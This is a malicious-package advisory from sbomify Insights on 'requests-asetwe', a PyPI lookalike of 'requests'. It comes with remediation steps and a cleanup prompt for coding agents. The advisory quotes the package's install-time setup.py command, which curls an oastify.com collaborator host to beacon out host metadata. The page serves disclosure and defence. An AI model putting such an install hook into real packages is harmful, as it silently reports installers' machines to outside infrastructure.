# MAL-2026-16269: Malicious code in requests-asetwe (PyPI)


- **Type:** Malicious package
- **Package:** `requests-asetwe` (PyPI)
- **Published:** 17 Sep 2026

## What is MAL-2026-16269?

MAL-2026-16269 is a malicious package in requests-asetwe, published on 17 Sep 2026. 

### Official description

setup.py of requests-asetwe unconditionally executes `os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com')` during `pip install`. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used `requests` package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.

---

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

 - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

 - The package overrides the install command in setup.py to execute malicious code during installation.

## What should I do about MAL-2026-16269?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16269 is a malicious package: requests-asetwe (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16269/ (Markdown: https://insights.sbomify.com/MAL-2026-16269/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16269

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-16269/
Summaries are generated and may contain mistakes; the official description above is the record.